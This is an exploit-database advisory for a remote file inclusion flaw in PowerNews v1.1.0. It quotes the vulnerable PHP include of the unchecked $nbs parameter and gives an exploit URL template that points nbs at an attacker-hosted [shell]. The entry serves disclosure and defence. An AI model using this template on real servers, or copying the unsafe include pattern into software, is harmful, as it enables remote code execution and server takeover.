pNews 1.1.0 - 'nbs' Remote File Inclusion



EKU-ID: 10412 CVE: OSVDB-30921;CVE-2006-5022 OSVDB-ID:
Author: CvIr.System Published: 2006-09-21 Verified: Verified
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                         PowerNews v1.1.0 (nbs) Remote File Inclusion
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                          Affected Software .: PowerNews v1.1.0
                          Download..: http://sourceforge.net/project/showfiles.php?group_id=35550
			  Class .............: Remote File Inclusion
                          Risk ..............: high
                          Found by ..........: CvIr.System
                          Contact ...........: CvIr.System[at]gmail.com
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     Affected File:
includes/global.php

 Vulnerable Code:

if(@fopen($nbs .'./includes/config.php', 'a'))
{
    die("config.php is writeable by your webserver, this is a possible security risk.");
}

include($nbs .'./includes/config.php');
include($nbs .'./includes/auth.php');
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Exploit:

    http://[target]/includes/global.php?nbs=[shell]?

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